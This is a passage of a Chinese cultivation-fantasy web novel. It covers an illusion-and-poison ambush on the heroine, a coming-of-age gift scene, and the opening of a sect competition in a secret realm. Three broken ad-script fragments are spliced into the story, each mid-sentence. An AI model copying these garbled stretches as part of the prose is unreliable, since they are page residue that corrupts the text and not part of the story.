两位舞者的舞姿轻盈,如水如月,又若那天际飘荡的云絮,在清风的吹拂下,于云海中飘荡。 “叮当” 银铃之声阵阵,与悠扬的乐曲和谐共鸣。 “叮当” 台上似有云雾升腾,将两人的身影隐没于内。 只隐约见得紫色的衣裙于云雾中划过,宛若灵蝶飞舞。 “叮当” 伏令年脑海有些昏沉,心中升起一个想法——周遭的香气似乎变得更加浓郁了。 酒水、花卉、脂粉的香气混杂,呈现出一种难以分辨的香味。 “叮当” 眼前开始出现重影,杯盏重叠,光影斑驳。 舞台上的舞者舞动间,留下一道道残影。或折腰,或躬身,或舞袖…道道曼妙的舞姿定格在原处,伴随着逐渐转低的乐声,场景分外诡异。 伏令年垂眸,看着面前玉杯中呈暗红色的酒液。 模糊间,她似乎看到酒液中映出了一道蛇影。 喉间发紧,呼吸变得困难。 “叮…” 银铃之声再度响起,却被杂音所搅乱。 金铁交击之声宛若一道惊雷,震破了伏令年眼前模糊的迷障。 暗色灯光下,锋锐的细剑距伏令年的咽喉仅有一寸之遥。 细剑的另一端,剑柄呈弯曲蛇形。 伏令年微微抬头,与持剑者目光相对。 “铛” 伏令年右手收剑,衣帛撕裂之声响起,一串铃铛被挑飞,落入她的左手。 72. 迷魂银铃 “唔…” 耳边传来一道痛哼。 “叮当”细微的铃声再度响起。 余光之中,血液顺着剑刃滴落于地面,竟自行沸腾起来,化作白气消散于空中。 原本立于四周的舞者皆不知所踪,圆桌上的饭菜依旧散发着热气,暗红色的酒液微微摇晃,映照出一双眼眸。 伏令年微微偏头,往身侧看了一眼,只见到目光呆滞高墨贤与温季才分别一坐一立地定在原地,身体还保持着被舞者们“围困”时无措的举止,仿佛突然变成了木偶。 突然,“木偶”眼珠转了转,看向了圆桌旁——方才吴瑾浔所处的位置。 伏令年视线回转,平静地注视着面前之人紫色的眼眸,看着她流露出些许痛苦和讶异之色。 下一瞬,伏令年身体前倾,竟不躲不避地撞向面前的锐剑。 剑锋并未穿透伏令年的脖颈,反而寸寸破碎。 面前的人影再度消散。 这依旧是幻象。 伏令年挥剑,斩破面前还未完全消散的幻影。 她并未就此停下,脚下持续运力,身影如游鱼般骤然于空中折了个弯。 劲风袭来,一道剑气擦着伏令年的腰侧划过,穿透了她方才留下的残影。 手中白玉剑光华流转,伏令年未有迟疑,前跨一步,一剑斩出,携着破空碎石的力道。 “当” 两剑相撞,剑鸣阵阵。 伏令年手腕晃动,利用巧劲,催动剑身以高频率颤动。 这一剑招乃从沈枫泽手中学来,遇上不擅剑术或武器粗制的敌人,甚至能够使得敌人直接丧失武器,可谓是一招破敌。 不足一息,对手便发出一声轻呼,手中细剑脱手。 手上一轻,就待伏令年将要趁胜追击之时,对手忽地甩袖,一团彩色的事物迎面撞来,随之而来的是浓浓的甜香味。 定睛一瞧,那团彩色的事物,居然是一只只扑扇着翅膀的彩蝶。 伏令年心下一跳,立即停住追击的架势,屏住呼吸往后退去。 然而,此时已是有些晚了。 彩蝶扑扇着双翅,抖落一层层花粉似的事物。 细碎的花粉落到伏令年的皮肤上,还未等她将其抖落,便像是冰糖入水,眨眼间便融于皮肤中。 下一瞬,伏令年只觉得身体发热,整个人如同连续承受了三天三夜四十度的高热,手脚随即开始发软。 身后有剑气靠近,她却很难再及时回防了。 直到此时,她已然对突如其来的袭击者的身份有了些猜测,却无法理解他们为何要袭击自己这一行三人。 背后剑气森然,偏移了一个角度,朝伏令年的肩胛处刺去。 虽是避开了要害,可倘若结结实实受这一剑,也定然不好受。 然而,伏令年却并未躲避,亦未露出丝毫惊恐之色。 金铁交击之声再度响起,当当两声,伏令年肩处一紧,便被人以巧力带着远离了原先的位置。 “我身上有毒。”伏令年提醒了一句。 “嗯。”高墨贤应了一声。 他并未直接触碰伏令年的衣袍,而是在手上又裹了一层布料。 另一边,温季才已与那在背后袭击之人连续过了五剑,一时间劲风四起,桌椅倾倒。 体内灵力已运转到极致,不断排出刚刚融入她血肉中的毒粉。 “合欢宗也是四境中的名门正派,为何要行此龌龊之举?” 身体的行动力已恢复大半,伏令年突然开口,似是在同高墨贤讨论,又似是在责问袭击者。 “声名远扬的青鸢阁若知晓鸢者被冒充行此诡事,想必也会有所不喜罢。” 然而,伏令年等了一会,却依旧只能听见温季才与对手二人双剑交击之声。 伏令年左手似是无意识的微微晃动,掌心的银铃铛发出清脆的声响。 她缓缓转身,避开了高墨贤的搀扶,朝舞台上缓缓走去。 她走的极慢,似乎还未能解除身上所中之毒。 一步…两步…三步… 伏令年身体忽地顿住,左手传来温热的触感。 似是有一只手,攥住了伏令年裸露在外的腕部。 她侧眸望去,却未看见任何事物。 左手微微发力,却似因为余毒未解,力气不足,未能挣开,只晃得银铃再次作响。 “姐姐,偷拿别人的东西可不好。”少女银铃般清脆悦耳的声音在伏令年耳侧响起,伴随着温热的吐息与分辨不出品种的淡淡花香:“不过…若是姐姐喜欢,这银铃便当做见面礼,如何?” 伏令年眼眸微颤,右手微动,就待有所动作之时,却听一阵木门打开的吱嘎之声。 室内似乎有什么屏障被打破,昏暗的烛光晃动,骤然熄灭。 下一瞬,眼前大亮。 室内灯光重燃,一阵微风刮入,将室内杂乱的香气尽数卷走。 门外,两道身影一前一后地立着。 一人身着翡翠色的烟罗绮云裙,另一人衣袍朴素,仅着绣有青纹的白色锦缎。 为首之人的面孔正是伏令年不久前“见过”的吴瑾浔。 一模一样的面容,分毫不差的服饰,让伏令年恍惚以为自己又被蒙蔽。 然而,她心中明了,眼前此人,恐怕便是真正的吴瑾浔。 “嗨呀…” 伏令年侧头,看见了那出声之人。 紫衣少女狐狸般的眼眸微微弯起,声音听不出惶恐:“被发现了。” “可惜,那便下次再见吧。 手腕一松,少女身影后撤,竟从戏台后隐蔽的窗户处离开了。 随即,另一道身影也脱离了与温季才的缠斗,从窗户一侧逃离。 伏令年几人都未选择追逐。 看了眼温季才明显泛红的脸色,伏令年便知,他定然也是中招了。 合欢宗不以剑术见长,但一手毒术当真是不容小觑。 就不知他们此行,意欲如何。 …… 【九十年义务修仙系统提醒您】 【获得法器:迷魂铃】 【法器简介:从合欢宗弟子{???}手中夺来的三阶法器,持有者可利用此铃对他人施加幻象。】 【注意事项:1、首次对同一对象使用迷魂铃,需晃铃三次叠加才可达到效果(元婴期以下生效)。 2、同一对象被影响一次后,会产生抵抗性,具体情况视修为而定。 3、幻象与现实交织,不可完全脱离现实,建议使用者利用幻境迷药达到最佳效果。】 伏令年将早已出现的系统提示再仔仔细细看了一遍,才穿着干净的衣裳离开了隔间。 “师姐…”她喊了一声身着青纹锦衣的安祉喊了一句,随即又看向一旁面露和煦笑意的吴瑾浔:“坊主…?” 她尾音下沉,起到好处的表露出了疑惑之情。 “叫我瑾浔,或是浔姐姐即可。”吴瑾浔笑着,轻轻握住伏令年的指尖。 伏令年面上笑着应下,心中却想起方才的假“吴瑾浔”。 不得不说,那合欢宗弟子扮演的可真是形象,便是伏令年之前便认得吴瑾浔,恐怕也难以轻易分辨出两者的区别。 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 如此细微的扮演,二者之间是否有什么关联? “是我们长乐坊的过失,让贼人得以闯入,万幸你们都无事。” 吴瑾浔笑得温和。 指尖轻轻划过对方的掌心,感受到对方双手肌肤的光洁。 伏令年笑着正想附和几句,暂了此事情,却未想旁边的安祉先开了口。 “哎哟,还贼人。”安祉脸上挂着常年不变的笑容:“还装什么,那一屋子熏得人头疼的香气,满地毒粉,除了你的老主顾还能是谁。” 伏令年眉毛动了动,她未见过安祉与众位长老你来我往掰扯的模样,亦不知她还有如此言辞犀利的一面。 吴瑾浔被安祉这一顿拆台,却也是不恼,反而笑眯眯地扯了扯安祉的衣袖:“你这么说我便要伤心了,我可是当真不知晓那两人的来头。若当真是合欢宗的人,用如此明显的把戏,不怕被宣扬出去吗?” “还需要我们帮忙宣扬吗?”安祉轻笑一声:“他们本就是个‘威名远扬’的,如今倒是厉害,直接在大会前便干出袭人之事。” 以往的四境大会,莫要说私底下,就是被众位仙者注视着的明面比试都会出现一些见不得台面的下作手段。 因此,当大会将要开启,众门派聚集之时,各弟子总会被吩咐莫要单独行动,以免遭到暗算。 且随着制度逐渐成熟,对四境大会的管控亦更加严格,尽量避免一些不必要的死伤。 然而,修仙界说到底还是以实力为尊,宗门师门的实力强大,才有真正的话语权。 如今合欢宗的突然袭击,说是下作,却也不算得少见的先例。 就是伏令年几人将此时上报宗门,恐怕也无法得到公正的处理。 毕竟袭击者是谁未知,室内的种种都可以指向合欢宗,却由于未能抓获袭击者,又无法全然指认合欢宗。 这里又是合欢宗的主场,最终也并未造成昆仑宗巨大的损伤。只要合欢宗咬死不认,昆仑宗除非想要在四境大会前便撕破脸面,否则也难以奈何他们。 更何况,伏令年几人只是常年吊车尾的昆仑宗遨月峰弟子,更是得不到重视。 不过,伏令年内心却隐约感到不对。 这当真只是私底下为了削减其余门派而使用的下作手段吗? 她不怀疑会有宗门使用下作的手段,却奇怪于自己三人为何会遇见袭击。 莫说是小有名气,她们几人的修为在此次四境大会中就是末尾镶边的,就是被袭击,也轮不上他们三人啊。 指尖轻抚银铃,伏令年默不作声地将其藏入怀中。 “对了。”吴瑾浔忽地笑望向伏令年:“今日你们来着,不是还有件最重要的事情?” 她显然是在转移话题。 伏令年看向安祉——是她传信让他们先来此处的。 安祉瞥了吴瑾浔一眼,叹了口气,对伏令年道:“我会上报宗门查清此事。抱歉,本想邀你来为你办个及笄礼,却不想遇见了这种事情。” 伏令年微微一怔,却不想安祉神神秘秘让他们来此处,居然只是想给她办个及笄礼。 几位侍女上前,放下几件大大小小的盒子。 见伏令年目光疑惑,安祉又笑了起来:“这些,是师父师兄,以及你师姐我准备送你的礼物,本来是想准备一个惊喜的…可惜…不过,”她忽地又有些兴奋地提议:“现在也不算晚,师姐为你挑几位美艳的舞姬可好,你是喜欢女子还是男子?” 看着迎上来的美艳面孔,伏令年打了个寒战,想起了一些不太美好的回忆,只觉得脖颈处发寒。 “…还是不了吧,师姐。” 73. 大会初始 三日后,四境大会到来,秘境将于次日开启。 各大门派及各境散修都汇聚于南境,以迎接这盛大的修仙者聚会。 凡间正值新年,街市张灯结彩,红艳艳的一片,分外好看。 南境气温常年较高,即使已是冬日,却不见雪花。 行人身着厚实的棉衣,或牵引着孩童,又或成双成对,一片家和团圆之景。 突然,一个孩童昂起脑袋,惊奇地指着天上。 “娘!你瞧,好大的飞鸽!” 孩童天真的呼唤顿时引得周围行人抬头朝天上望去。 透过花灯,人们瞧见孩童所指之物。 那哪里是什么飞鸽。 宛若飞鸟的巨大飞舟行于天际,以黑夜为幕布,白色为点缀。 一只只白鹤围绕着飞舟飞行,若是白日,便可见飞鸟伴行与云雾缭绕之景。 “是仙长!仙长!”有人忽地反应过来,高声呼喊起来。 人群顿时沸腾起来,人们争相恐后地仰着脖子,注视着天空的异景。 飞舟划过天际以后,还未等底下的人们做何反应,数千道剑影划过天际,只留下破空的痕迹。 “那是什么?”有人眨了眨眼睛,目瞪口呆。 “无知!”另一人笑道:“那是仙长在御剑飞行啊!” “这都是我们这些凡夫俗子无法触及的事物啊。”背脊已然佝偻的老者轻叹道。 这里的大部分居民都已在幼时测过灵根,怎奈的确不负仙骨,无缘求仙之道。他们多将期望寄存于自己的孩子之身,若是家中能出一位仙者,便能改变普通家庭的一生。 “不知这是哪个宗门的仙长?”有人好奇道。 “能御剑而行,必然是万剑宗的仙长啊。”他身旁高大的壮汉回答道:“若是我家娃娃有灵根,我定会将她送去修剑。” “若我没记错,你家那位可是女娃娃罢?” “女娃娃又咋了?!”一脸络腮胡的大汉瞪大了眼睛:“我们南境断岳殿殿主便是女子。我家女娃娃可厉害了,定然也会如那仙长般有所作为。” 被瞪之人有些心虚,却依旧不满地嘟囔道:“那叫什么女人…一身腱子肌肉,哪有半分女人的模样。” “瞧你这话说的。”另一旁的矮个姑娘听了,嗤笑一声:“腱子肌肉如何,女子如何模样还需要按你的心意来不成?我看你这干瘦的模样,倒是没个人样,难不成你是林中的野猴不成?” 这句话可真是毒辣,顿时让先前说话之人脸上涨得通红。 “你…”他恶狠狠地瞪着矮个姑娘,见她周遭无同行之人,竟是一副想要动手的姿态。 然而,还未等他的手碰到那姑娘,脚下却似乎被什么绊住,“扑通”一下便栽倒在地上,摔了个脸着地。 周围人顿时哄笑起来,对于这种不敬仙长还口出狂言之人,兴不起任何同情之心。 矮个姑娘却未再开口嘲讽,她眉头挑了挑,目光追随着刚刚擦身而过未行多远的三人。 鼻尖飘过淡淡的熏香气,矮个姑娘意味深长地看着三人之中的黑衣少女。 她侧着头同同伴谈笑着,完全不见异常。 在场大多是凡人,眼力有限,她却看得真切。 就在干瘦男人想要动手的那一刻,刚刚经过他身旁的黑衣姑娘迅速出脚,这才使得干瘦男人扑倒在地。 一套动作简直行云流水,上半身甚至未有晃动过。 “修仙者。”矮个姑娘定定地看着三人的背影,嘴中喃喃了一句。 这样的速度,可不是常人修行几年武艺便能达到的。 “万剑宗可真是高调啊。”温季才自然看见了伏令年的小动作,却默契的装作什么都未有看见:“你说他们怎不猜是昆仑宗呢?” 伏令年平静地答道:“可能是我们比较低调吧。” 高墨贤却是实诚:“因为我们昆仑宗日益衰落,凡间的人们往往只会记住最强的几个宗门。” “你不许说话了。”温季才一脸忧伤:“感觉前途无望啊。” 未行多远,伏令年耳朵捕捉到小姑娘糯糯的声音。 “我也想…当…仙人。”小姑娘扯着母亲的衣袖,纯真地道。 修仙在外人看来何其酷炫,像是处于原来世界的伏令年,便少不了幻想自己成为修仙者腾云驾雾的模样,尚且处于童真的孩子们有此想法并不奇怪。 引起伏令年注意的,却是小姑娘的模样。 她衣着整洁厚实,却可见有许多补丁,看着不像华贵人家出生。她的下装有一半是空荡荡的,被母亲抱在怀中,看着像是失去了右腿。 母亲眸光微顿,在小姑娘腿部停留了一瞬。随即,她笑着应了一句,半开玩笑的问道:“好啊,那寻儿想修什么?制药炼丹,或是炼器?” “修剑。”小姑娘面色认真。 母亲微微一怔,似是未想到她竟会如此回答。 “能告诉阿娘,为何想修剑呢?” “修剑,可以斩杀妖魔,保护娘亲!”小姑娘一字一顿,声音幼嫩,却很是认真:“就像那日的仙长姐姐。” 母亲突然沉默了,伏令年瞧见她眼眶泛红。 过了一会,母亲轻轻吻了吻女孩的额角,声音发颤:“好。“ 见伏令年发愣,温季才好奇转头,问道:“怎么了?” 回过神来,伏令年摇了摇头向前走着,回道:“在考虑炼制假肢的可能性。” “假肢?”温季才追问。 伏令年脑海中忽地浮现一道素净温润的身影。 她自顾自摸着下巴:“或者超级灵活的飞天轮椅?” 看着她陷入思考的模样,温季才只得朝高墨贤耸了耸肩。 两人早已习惯了她时不时跳脱的思维以及嘴中吐出的奇怪名词。 这样的状态通常在她沉浸于炼丹制符时出现。 …… 天际刚吐露鱼肚白,南境一处人迹罕至的禁地中,却见道道身影浮现。 伏令年跟随着昆仑宗众位弟子立于秘境入口之前,等待着秘境开启。 四境大会的规则并不复杂。 各境参与弟子皆携有特制的身份铭牌,身份铭牌可用于记录个人斩杀妖兽的数量,由此为各境累计积分。 在危难时刻,震碎身份铭牌即代表个人放弃比试,并能够触发其余持有弟子感应。 接收到感应的弟子将会前往救援,救援的弟子可获得被救援弟子的所有个人积分。 而就是这样 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 简单易懂的规则,却让伏令年隐隐觉得古怪。 垂眸等待中,伏令年忽感颈部一阵发麻。 她猛地抬头,四下寻找,却并未寻到古怪感受的来源。 这时,周围人也有所骚动。 顺着众人的目光,伏令年看见了缓缓从远处飘行而来的古怪轿子。 这轿子浑身呈现深沉近黑的深紫色,无人抬行,却宛若幽灵一般飘行。轻纱飘动着,如同人曼妙地于天际舞动。 随行于轿子之后的,是几位衣着华丽衣裙的女子——或者男子。伏令年心中严谨地补了一句。 他们的面孔皆隐没于轻纱之后,却未掩盖他们的半分姿容。反而是那半隐半露的面孔,更让人浮想联翩。 裸露在外的肌肤若素白凝脂,又如月下玫瑰,娇嫩且热烈。他们眼眸转动,与人对视间似包含万般情绪,让人心头发颤。行走间,配饰晃动,叮当作响。 轿子停下,一只修长的手掌探出,掀开了布帘。 随即,一道人影从中走出。 那是一位少年。 这是伏令年的第一印象。 眉间朱砂痣鲜艳夺目,红唇齿白,肌肤白皙无暇,如同上天倾力所制的完美造物。哪怕只是一个模糊的侧影,也不难看出他相貌之俊美。 少年出轿,却并未走远。 他保持着掀帘的动作,伸出另一只手。 轿内,另一只素白玉手伸出,一道人影随之走出。 看着见两道几乎一模一样的人影,伏令年一时挪不开眼睛。 倒不是被美色所吸引。 这几日,伏令年被“暴露本性”的安祉强行带着日日混迹于长乐坊,已然对这样容貌艳丽的美人产生了免疫力。 只是,这两人的出现,让伏令年不由想起那日袭击他们的二人。 虽然,他们的容貌并不相同,甚至连性别都不尽相同。 但这强烈的既视感,已足让伏令年心中警铃大作。 就在她皱眉,将要将视线收回之时,却见后下轿的少年忽地转头。 两人的目光在空中相汇。 伏令年眉心一跳,便见到那人眼眸微弯,似乎在朝她微笑。 鼻尖似乎又嗅到了那淡淡的花香与胭脂水粉的气味。 催动白玉剑,伏令年从诡异的心悸感中抽离出来。 那少年却已是转开了视线,刚刚的一切似乎只是伏令年的错觉。 未有时间让她过多思忖,周遭忽有强烈的灵力波动,众人的情绪皆变得紧绷。 秘境要开启了。 伏令年只来得及抓紧询问身旁的一位弟子。 “师兄,那轿子中是何人啊?” 被伏令年攀关系的的青年看了她一眼,似是误会了什么,面色有些古怪:“那是合欢宗的并蒂圣子,你莫要想了……” 他后面的话隐没在秘境开启的巨大响动中,但伏令年已经得到了她所需的信息。 至于青年是否误会了什么,倒是不要紧。 伏令年跟随着人流,踏入灵气涌动的秘境入口。 身体被涌动的灵气吞没,眼前骤然陷入昏暗。 再一次睁眼时,面前已是繁茂的枝叶。 四境大会,正式拉开序幕。 74. 万霭之幽(一) 初入此处,伏令年便敏锐觉察到了周遭环境的变化。 南境气温常年偏高,多雨。 可此时毕竟是冬季,气候寒冷,空气也免不得干燥。 然而,处于这密林之中,每一口吸入肺腑的空气却透着湿润,湿气无孔不入地浸透了人的肌肤与内脏。 伏令年眉头微微蹙起,运行起灵力,于身周形成一层屏障。 由先前幻灵塔的蛊虫事件以及不久前长乐坊的袭击,伏令年不得不提高警惕,以防再遭毒手。 秘境之内,若有分毫差池,说不得要落个惨死的下场。 众人自相同的入口进入秘境,再次睁眼时,周围却再无同行者。 伏令年并未慌张,这种情况在大会前便早已说明。 握在掌心的身份铭牌微微发烫——这是身份铭牌的另一功能。 这意味着,有同境的修士处于伏令年的附近。 伏令年检查了一番身上带着的事物,确定储物空间还可以正常使用后,她跟随着身份铭牌的指引,寻找那位与她生出感应的修士。 她并未急着奔掠,而是缓步向前行着。 脚下泥土湿润软烂,上头铺盖着厚厚的一层枯枝败叶,踩上去不免发出细碎的声响。 阳光透过繁茂的枝叶洒落,映得地面一片斑驳。不时有巨树的根系从地面隆起,足有小腿粗细的藤蔓缠绕着盘树而生。 在巨树底下,伏令年便仿佛是尚且年幼的孩童。 这片光景,是伏令年以往从未见过的。 掌心的身份铭牌愈来愈烫,这意味着,伏令年正在不断地接近目标。 绕过一棵横亘于地面的巨木,伏令年看见了几道熟悉的人影。 背对着她的少年敏锐转身,眼眸中随即流露出一抹笑意。 汇聚在一起的有六人。 好巧不巧,都算得上“熟人”。 从承言、江钰景、蓝眸师兄许子迁、阿九,以及那日在长乐坊雅间所见的绿眸公子哥以及跟随在他身旁未发一言的绿裙女子。 即使进入秘境,那位女子依旧照着纱帽,让人瞧不清她的面孔。 也不知江钰景与绿眸公子哥那日到底发生了什么,即使是伏令年这个老仇人的到来,也没有引起江钰景的注意。 此时,他的目光时不时地停留在绿眸公子哥身上,一副想要发难却迫于压力无法宣泄的憋屈模样。 许子迁亦早就发觉了伏令年的到来,他蓝眸微转,朝伏令年点了点头。 “这已经有一会儿了,却不见其余人来。”绿裙女子的声音沙哑,伏令年好一会才反应过来是她在说话。 自打伏令年与几人会面后,陆续又赶来了几位昆仑宗的弟子,却不见百药谷的弟子。 许子迁没说话,眸光落于绿裙女子身上,示意她继续说。 “我们百药谷的弟子多不擅战斗,时间长了恐生变故。恐怕要麻烦昆仑宗的道友为我们寻找其余弟子了。”说是麻烦,可绿裙女子的语气毫无请求之感,反而有一股居高临下之感。 昆仑宗虽是不如以往强盛,却也依旧是数得上名号的大门派。 百药谷与昆仑宗又同为东境的大门派,无高低之分。 伏令年心中奇怪,却见那绿眸少年面露孤傲之色:“若是没了我们百药谷弟子的帮助,你们恐怕都走不出这秘境。” 微微一怔,伏令年似乎明白他们的傲气由何而来。 在数百年以前,修仙界各宗门各司其职,修行之道皆不尽相同。 昆仑宗修剑,以剑为道,斩妖除魔。 而百药谷则以炼丹制药修行。 在昆仑宗内部未作出改变之前,宗门的伤药以及治疗都难免依托于百药谷。 这或许便是他们态度如此高傲的缘由。 “呵。”江钰景冷笑一声,脱口而出:“我们宗内也有医修。” 绿眸少年闻言,不屑一笑:“要不怎说你们昆仑宗日益衰落,不潜心修剑道,尽修些不入流的旁门左道。” 丹峰与青叶峰建立也不过百年,其间对于医药丹学的积累自然不如千百年的大宗门。 伏令年在昆仑宗偷偷修行炼丹这么多年,也对此有些了解。 比起名副其实的“医药宗门”,昆仑宗缺少能够炼制高品级丹药的高阶炼丹炉法器、没有化神期的医修丹修,因而也缺少品级足够高的丹药。 不过,若是被评论为旁门左道,那实属是太过严苛。 如今的青叶峰与丹峰,是比上不足,比下有余。 此行,许子迁身为元婴期的修士,境界最高,又是宗主的亲传弟子,本就是四境大会一行的带领者。 在如今情况下,昆仑宗的一众弟子更是以他马首是瞻。 听见百药谷的弟子如此言语,众人心中自有怒火。几位性子直爽的弟子面色阴沉,想要出言反驳,却又碍于许子迁尚未指示。 却见许子迁表情依旧平淡,似是未听见对方出言不逊,而是看了伏令年一眼,把她看得有些莫名其妙。 众人的目光本都落在许子迁身上,这下可好,伏令年倒成了“万众瞩目”之人。 她又看了眼许子迁,总觉得他那双平淡的蓝眸中透着期待的意味。 伏令年:? 一定是她看错了吧。 绿眸少年的目光也跟着落到了伏令年的身上,几番打量之下,他便觉得伏令年有些面熟。 见他那模样,许是忆起了雅间不愉快的相遇。 在长乐坊相遇又被撵出来一事,伏令年虽不太在乎自己的面子,却也要稍稍顾及昆仑宗的颜面。 伏令年决定说些什么堵住他的嘴巴。 本就在舌尖打转的话语随即脱口而出:“医药丹学源远深奥,怎能称作旁门左道,道友何必妄自菲薄。” 此话一出,绿眸少年先是怔愣了片刻,反应过来后面上顿时生起一层薄红。 “你——” “好了。”绿裙女子嗓音沙哑地说:“莫要再浪费时间了。昆仑宗的道友,我们同为东境的修士,应当同心协力。若因口舌之争伤了和气,可并非是众人想看见的。” 这话说得,仿佛刚刚出言不逊的不是他们一般。 “走吧。”许子迁惜字如金。 这场小小的冲突就此落幕,众人即刻动身,根据感应寻找同境之人。 伏令年不想同绿眸少年以及江钰景靠的太近,便慢慢减缓速度,落在了队伍末尾。 从承言也自然减缓了脚步,同伏令年并排行进。 自幻灵塔一事,阿九似乎习惯了跟随着伏令年的行动。 她一脸冷酷,气质肃杀冰冷,身姿高挑不输从承言,却宛若伏令年的尾巴一般,牢牢地缀在她身后。 密林四周十分寂静,仅能听见众人行走间的细微动静。 地面的散落的枯枝败叶极多,即使提气轻身,也不免产生动静。 伏令年觉得这酷似热带雨林的秘境中恐怕少不了毒虫蛇蚁,总担心着自己是否会一脚踩着。 她本想将神识外放,以探寻周遭环境。 然而,刚将神识放出,她就立即感受到了一股强大的神识威压。 这威压并非针对伏令年,但这种感觉依旧很不好受。 这应当是许子迁的神识。 队伍中有一个强大的元婴期修士,伏令年莫名有了种安心的感觉。 秉持着天塌下来了也有高个子顶着的想法,伏令年便未再强顶着威压释放神识,只将神识收拢在身周。 又闷头走了一会儿,伏令年忽有所感,抬头望向前方。 两个面生的昆仑宗弟子落后两步,像是想同伏令年说什么,却由于阿九的危险目光不敢随意接近。 “怎么了?”伏令年有些困惑。 两位弟子面上立即露出亲切的笑意,一人凑过来,拍了拍她的肩膀:“传闻果然不虚。” “啊?” “你不是那个传说中的什么传声筒嘛,都说有位弟子言辞犀利毒辣,以用言语羞辱他人为乐,整个宗门上下未有一峰能有所幸免。” 伏令年:? 看她和善的脸庞,她像是这样的人吗?! 她不过就是在完成宗门事务之时顺便赚了些外快,帮着传了一些话——比如说替青叶峰的弟子怒骂残害灵植草药的弟子、替师姐痛骂出轨渣男、帮热血上头的剑修传递战书…… 大多数内容都是金主所要求,她顶多加以些许润色。 结果怎么就传成了如此模样。 “不信谣不传谣。”伏令年干笑两声,表示自己十分无辜。 身份铭牌的感应并不准确,但许子迁神识的覆盖却是广阔精准的。 人群逐渐扩大,以许子迁为中心汇聚起来。 此处多树木,人多起来,行走便十分不便。 杂乱无章的人群非凡不能起到一加一等于二的作用,反而会在危险到来时产生反作用。 队伍很快便停了下来。 许子迁已经站到了队伍首位,他凝眸望向东侧,似乎在等待着什么。< (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' /p> 不过一刻钟,东侧便传来异动。 有人掀开缠绕的藤蔓,缓步行来。 那人行走间,步履悠然自在,不像是处于危机四伏的秘境之中,倒像是行于自家的庭院中。 伏令年听见身旁先前同她搭话的其中一位弟子嘟囔了一句:“星机阁的人总是如此的浮夸。” …… 秘境之外,寂静的大殿之内,巨大的环形状水影幕展现在众人面前。 身处此处的修仙者不是门派中的魁首,便是德高望重的长老。 处于北向主位的是身为东道主的断岳殿殿主武丹卿与合欢宗宗主娄烨。 断岳殿多体修与器修,千百年前皆追寻无情大道。可事与愿违,无情道的优秀毕业生稀缺。再加之合欢宗的存在,修成无情道的修士更是难得一见。 时光流转,如今的断岳殿已大有不同。 如今的断岳殿追寻锻体之道。 与昆仑宗剑修以剑论道相似,断岳殿修士的身体便是他们的“剑”。 行锻体之道,突破血肉之躯的限制,肉身成圣以成大道。 武丹卿衣着朴素,秀发尽数剃去。若光看容貌,旁人怕是要以为她便只是个二十岁出头的清丽女子。然而,在场的众人都知晓,有着这样朴素外表的武丹卿身体内蕴含着多么可怕的力量。 与合欢宗宗主娄烨分坐一侧,两者全然是两种不相同的风格。 秘境开启,众位弟子一涌而入。 武丹卿与娄烨对视一眼,武丹卿微微颔首。 娄烨挥手,水影幕的画面随即开始流动。 一阵乱流过后,秘境内的几处画面逐一展现在众人面前。 秘境便如一方独特的天地,除了开启时间,便与外界全然隔离。 高级的秘境更是如此,即使是天道劫雷也未必能追寻至此。 此时开启的秘境便是南境内名为万霭之幽的高级秘境,自开启到结束,历时约六个月。 秘境将要关闭之时,全秘境的灵气将会产生紊乱。待到那时,所有的修仙者便需要及时撤出秘境,否则便会被困在其中,直到下一次秘境开启。 然而,大部分秘境都是不稳定的。即使是存在于千万年的、被修仙者们多次探索过的秘境,亦存在许多不稳定因素。 无人能确保,下一次秘境就必然会开启,也无人能知晓,秘境是否会突然崩塌。 如此看来,探寻秘境的确是危险异常的。 可即便如此,依旧有无数修士前仆后继,冒着死无葬身之地的危险也要探索未知的秘境。 他们自然不是不顾惜自己的性命,巨大的风险往往意味着更大的收获。 秘境之中的天材地宝数之不尽,妖兽修为所凝结的晶核,血肉精华,以及无数外界难得一见的草药灵植,皆是吸引无数修士前来的‘宝藏’。 这也是那些散修选择参与四境大会的重要原因。 对于散修而言,他们无拘无束,既无守护宗门荣耀责任,亦无属于本境的归属感。 无论是哪一境获得了胜利,对他们而言也无多少益处。 进入秘境的机会,才是他们参与四境大会的重要原因。 在四境大会中,他们不仅能够进入由各大门派所占据的秘境,还能在最低风险下获取天材地宝。 大门派的修士进入秘境之后,便是一些没什么名气的小门小派,以及来自各地的各路散修。 他们并不是值得注意的人物,因此,近乎无人将目光放于他们身上。 人群之中,一个矮个子的姑娘灵巧地穿过人与人间的间隙,朝着秘境入口跑去。 经过其中一人之时,她忽地咦了一声,侧头望了一眼。 那人一身黑衣,头戴黑色兜帽,半张面孔都被掩盖于其中。 矮个子姑娘没有掩饰自己的视线,黑衣人自然有所察觉。 他侧过头,正巧与矮个子姑娘目光相对。 两人已然行到了秘境入口处,只差一步便能进入其中。 黑衣人嘴角扯出一个笑容,声音嘶哑:“道友,你先请?” 矮个子姑娘未回话,毫不客气地先一步踏入秘境之中。 身体被灵力流吞噬的一瞬,她眸中流露出警惕之色。 黑衣人给她的感受十分古怪。 她没读过什么诗书,自认是粗人一个。 若要让她形容那黑衣人,那便是——虚假。 黑衣人从上至下,甚至是那勾勒起的微笑,都让她感到极其的虚假。 75. 万霭之幽(二) 秘境之中。 东境三大主要宗门汇聚以后,众位弟子便被分成了不同的小队。 此次四境大会,首要的便是获取胜利。 想要获取胜利,一要击杀足够多的妖兽,获取晶核累计积分。其次,就是要保证弟子们在秘境中待足六个月。 伏令年几人作为刚刚突破金丹期的修士,属于队伍中最弱势的群体。 四境的“主力队伍”由各境宗门内元婴期以上以及金丹期后期的修士组成,他们才是此次四境大会真正的角力者。 而伏令年一类的的修士修为过低,若跟随着主力队伍前行,不仅无法提供必要的帮助,还可能在遇到危机战斗时成为拖累或白白死伤。 因此,经过商议以后,东境的所有境界相近的修士便被划分入了不同的队伍。 一个队伍约莫有六至七人,不局限于同一宗门。每位修士各施所长,以攻克难关。 既然要一起战斗,拥有能够相互信任的伙伴尤其重要。 自然而然的,同样刚刚晋升,同处于金丹前期的伏令年、阿九、高墨贤、从承言以及温季才便聚到了一起。 